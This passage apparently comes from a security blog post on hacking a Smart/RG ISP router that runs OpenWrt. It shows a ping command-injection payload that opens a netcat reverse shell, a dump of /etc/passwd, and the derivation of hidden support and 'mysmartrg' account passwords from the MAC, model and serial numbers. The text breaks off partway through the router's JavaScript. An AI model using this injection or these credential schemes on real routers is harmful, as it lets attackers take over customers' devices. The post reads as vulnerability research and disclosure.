class=\"wp-block-paragraph\">So, it&#8217;s a Linux made for embedded device especially for routers. You see ? Linux is everywhere !<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I don&#8217;t know if you ever tried to make a machine (Windows\/Linux) to connect back to your computer ?  There is a popular tool for that purpose called <strong>nc<\/strong> <strong>(Netcat<\/strong>). Netcat is very well known tool among the hackers community. It allows you to connect to a remote machine or make a machine to connect back to your computer. This we call it a reverse shell. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In my VM I will open the port <strong>2222<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>nc -lvp 2222<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">nc<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">-lvp<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">2222<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">In the router we will use our vulnerability to make the router connects back to my VM.<\/p>\n\n\n<div class=\"wp-block-image is-style-default\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"486\" height=\"158\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-79.png\" alt=\"\" class=\"wp-image-176\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-79.png 486w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-79-300x98.png 300w\" sizes=\"auto, (max-width: 486px) 100vw, 486px\" \/><\/figure>\n<\/div>\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>'' > \/dev\/null &amp; nc 192.168.1.253 2222 -e \/bin\/sh &amp;<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">\/dev\/null<\/span><span style=\"color: #F8F8F2\"> &amp; <\/span><span style=\"color: #A6E22E\">nc<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">192.168<\/span><span style=\"color: #E6DB74\">.1.253<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">2222<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">-e<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">\/bin\/sh<\/span><span style=\"color: #F8F8F2\"> &amp;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"811\" height=\"273\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-78.png\" alt=\"\" class=\"wp-image-175\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-78.png 811w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-78-300x101.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-78-768x259.png 768w\" sizes=\"auto, (max-width: 811px) 100vw, 811px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Once you&#8217;ve done that, your terminal will have access to the router&#8217;s shell:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"371\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-80-1024x371.png\" alt=\"\" class=\"wp-image-177\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-80-1024x371.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-80-300x109.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-80-768x278.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-80-1536x556.png 1536w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-80.png 1547w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">From that point I begun to analyze each file in the system, trying to find credentials such as private keys, passwords&#8230; I also read about <strong>OpenWrt<\/strong>, how you configure it and how developers are using it. It helped me a lot to understand the configuration files and where to find juicy things.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First things first, you know where to look when you are in a system ? The <strong>\/etc\/passwd<\/strong> and <strong>\/etc\/shadow<\/strong> of course ! When I did a cat of &#8220;<strong>passwd<\/strong>&#8221; file I was shocked that there are users that are not visible in the router&#8217;s admin page. The question why are they hidden ? <\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>root:x:0:0:root:\/root:\/bin\/bash\nadmin:x:0:0:admin:\/var:\/usr\/bin\/clish\nsupport:x:0:0:support:\/var:\/usr\/bin\/clish\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\nsshd:x:22:22:sshd:\/var\/empty:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nrpc:x:65533:65533:rpc:\/var\/run\/rpc:\/bin\/false\navahi:x:105:105:avahi:\/var\/run\/avahi:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nironhat:x:0:0:ironhat:\/var:\/usr\/bin\/clish\nmysmartrg:x:0:0:mysmartrg:\/var:\/bin\/false\nhttp:x:100:100:http:\/var\/run\/http:\/bin\/false<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">root:x:0:0:root:\/root:\/bin\/bash<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">admin:x:0:0:admin:\/var:\/usr\/bin\/clish<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">support:x:0:0:support:\/var:\/usr\/bin\/clish<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">daemon:*:1:1:daemon:\/var:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">ftp:*:55:55:ftp:\/home\/ftp:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">network:*:101:101:network:\/var:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">nobody:*:65534:65534:nobody:\/var:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">sshd:x:22:22:sshd:\/var\/empty:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">lldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">rpc:x:65533:65533:rpc:\/var\/run\/rpc:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">avahi:x:105:105:avahi:\/var\/run\/avahi:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">dnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">ironhat:x:0:0:ironhat:\/var:\/usr\/bin\/clish<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">mysmartrg:x:0:0:mysmartrg:\/var:\/bin\/false<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">http:x:100:100:http:\/var\/run\/http:\/bin\/false<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"has-text-align-left wp-block-paragraph\">As you can see, thee is the root, admin, support and <strong>mysmartrg <\/strong>users. I think the root user can&#8217;t be changed through admin page (I&#8217;m not sure though !) but <strong>support <\/strong>user and <strong>mysmartrg <\/strong>are very suspicious. I went by each folder and searched for those users why they are not visible. I found out that the support user is hidden from the admin page because of a configuration file in OpenWRT.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I searched for the router&#8217;s manual in internet and I found this:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"877\" height=\"558\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-81.png\" alt=\"\" class=\"wp-image-178\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-81.png 877w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-81-300x191.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-81-768x489.png 768w\" sizes=\"auto, (max-width: 877px) 100vw, 877px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">There is not only the admin user but also a support user that came with the default router setup. As mentioned in the official manual, the password is the last 3 Octects from the MAC address. <\/p>\n\n\n<div class=\"wp-block-image is-resized\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"544\" height=\"640\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/funny-woah.gif\" alt=\"\" class=\"wp-image-221\" style=\"aspect-ratio:0.85;width:265px;height:auto\"\/><figcaption class=\"wp-element-caption\"><em>Okay !!<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The irony is this user is not visible in the admin page:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"318\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-91-1024x318.png\" alt=\"\" class=\"wp-image-222\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-91-1024x318.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-91-300x93.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-91-768x238.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-91.png 1498w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">List of users. Ahem ! The lonely admin user&#8230;<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><br>You know the impact of this ??? The ISP  hid the support user from the frontend but kept it in the system. The owner of the router just can&#8217;t see the user in the admin page nor change its password. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Anyone who wants to protect and secure his router from attackers and just changed the admin password, unfortunately is just not enough ! I don&#8217;t know if this user is used by the ISP or not but one thing is sure, this isn&#8217;t the best approach how it should be done !<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Next, there is this mysterious user &#8220;<strong>mysmartrg<\/strong>&#8220;. This user is not visible too in the admin page. I think this user is used for monitoring purpose like <strong>Netdata<\/strong> or <strong>CloudShark<\/strong>. There are logs that are sent to the cloud. Is it related to that particular user ? I don&#8217;t know ! to be honest and that&#8217;s not our problem for now. Let&#8217;s continue ! <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I searched for &#8220;<strong>mysmartrg<\/strong>&#8221; in the system files and found an interesting script:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>user=\"mysmartrg\"\nif &#91; -e \/etc\/mfginfo.sh &#93;; then\n   source \/etc\/mfginfo.sh\n   if &#91; ${MFG_MODEL} &#93; &amp;&amp; &#91; ${MFG_SERIAL} &#93;; then\n         pass=${MFG_MODEL}-${MFG_SERIAL}\n   fi\nfi<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">user<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">&quot;mysmartrg&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> &#91; <\/span><span style=\"color: #F92672\">-e<\/span><span style=\"color: #F8F8F2\"> \/etc\/mfginfo.sh &#93;; <\/span><span style=\"color: #F92672\">then<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #66D9EF\">source<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">\/etc\/mfginfo.sh<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> &#91; ${MFG_MODEL} &#93; &amp;&amp; &#91; ${MFG_SERIAL} &#93;; <\/span><span style=\"color: #F92672\">then<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">         pass<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">${MFG_MODEL}<\/span><span style=\"color: #E6DB74\">-<\/span><span style=\"color: #F8F8F2\">${MFG_SERIAL}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #F92672\">fi<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">fi<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">So now we understand how this user&#8217;s password is generated &#8220;<strong>ModelNumber-SerialNumber<\/strong>&#8220;. What we can do with that ? Haha !  You know so many nasty stuff !! But just don&#8217;t ! \ud83d\ude09<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"280\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/sassy-1.gif\" alt=\"\" class=\"wp-image-224\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>$ JUCI \/ LUCI \/ UCI \/ UBUS \/ RPCD \/ JSON-RPC<\/strong> What the F**K is this ?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/mkschreder\/juci\" data-type=\"URL\" data-id=\"https:\/\/github.com\/mkschreder\/juci\">JUCI <\/a>is a an alternative of LUCI. Just put in mind that these tools are a Web Interface for embedded routers that&#8217;s all. They allow you to control your device by making calls to the router using a custom Javascript. In Smart\/RG routers these commands are transmitted through a Json-RPC Websocket protocol. Once received by some of router&#8217;s daemon they are sent to a specific shell script that tests which part of the router should be activated or deactivated using UBUS or simple Linux commands. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I&#8217;m not an expert in OpenWrt. I wrote what I understood. Didn&#8217;t make copy\/paste on that \ud83d\ude1b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For more info about these elements:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/openwrt.org\/docs\/techref\/ubus\" data-type=\"URL\" data-id=\"https:\/\/openwrt.org\/docs\/techref\/ubus\">UBUS<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/openwrt.org\/docs\/guide-user\/base-system\/uci\" data-type=\"URL\" data-id=\"https:\/\/openwrt.org\/docs\/guide-user\/base-system\/uci\">UCI <\/a>(Unified Configuration Interface)&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/en.wikipedia.org\/wiki\/JSON-RPC\" data-type=\"URL\" data-id=\"https:\/\/en.wikipedia.org\/wiki\/JSON-RPC\">JSON-RPC<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image is-resized\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"582\" height=\"640\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/huh-rabbit.gif\" alt=\"\" class=\"wp-image-225\" style=\"aspect-ratio:0.909375;width:347px;height:auto\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>Why all these definitions ? <\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As I said, all these elements are a part of the OpenWrt internals which allow the router to understand what you wanna do with the router. In general, what the user really sees from the browser is just the JUCI\/LUCI and Json-RPC part, everything else is in the background. The router has an http path called <strong>&#8220;\/websocket&#8221;<\/strong> where it receives all the coming requests in <strong>JsonRPC<\/strong>. Smart\/RG router doesn&#8217;t communicate using the standard http requests that we all know (POST\/GET &#8230; ).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/en.wikipedia.org\/wiki\/WebSocket\" data-type=\"URL\" data-id=\"https:\/\/en.wikipedia.org\/wiki\/WebSocket\">Websocket<\/a> is a TCP communication in full-duplex (sending and receiving packets). The router use a smart way to communicate with the router&#8217;s internal components. Let&#8217;s dig it up a bit:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"249\" height=\"229\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-83.png\" alt=\"\" class=\"wp-image-181\"\/><figcaption class=\"wp-element-caption\"><em>Websocket communication<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The client and the server in our case is the same equipment since the Web Interface is stored in a directory of the router&#8217;s system file. The index page loads all the necessary Javascript libraries. I could use <strong>JsonRPC  <\/strong>to send the request to itself containing what the user chose and applied from the web interface as parameters. All of these are wrapped in Websocket and sent through what we call <strong>JsonRPC<\/strong> (JSON Remote Procedure Call).<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"737\" height=\"462\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-84.png\" alt=\"\" class=\"wp-image-182\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-84.png 737w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-84-300x188.png 300w\" sizes=\"auto, (max-width: 737px) 100vw, 737px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The router has a daemon called <strong>RPCD <\/strong>that waits for these type of calls. It translates every request and execute the corresponding script in the router.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here below all the <strong>Javascript <\/strong>loaded in the router&#8217;s login page:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"695\" height=\"753\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-85.png\" alt=\"\" class=\"wp-image-183\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-85.png 695w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-85-277x300.png 277w\" sizes=\"auto, (max-width: 695px) 100vw, 695px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Since the command injection found earlier concerns a ping command, this is how its code looks like in Javascript:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>JUCI.app.controller(\"StatusDiagnostics\", function($scope, $rpc, $network) {\n    $scope.data = {};\n    $network.getNetworks().done(function(nets) {\n        $scope.data.allInterfaces = nets.map(function(x) {\n        